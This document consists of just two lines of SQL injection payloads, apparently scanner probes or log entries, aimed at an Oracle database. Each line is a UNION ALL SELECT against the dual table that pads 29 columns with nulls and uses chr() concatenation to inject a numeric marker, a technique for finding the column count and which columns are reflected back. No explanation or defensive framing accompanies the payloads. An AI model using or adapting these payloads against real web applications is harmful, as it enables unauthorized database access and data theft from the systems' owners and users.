s and 1=2 union all select chr(55)||chr(50)||chr(52)||chr(53)||chr(56),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--
s and 1=2 union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,chr(57)||chr(55)||chr(57)||chr(49)||chr(52) from dual--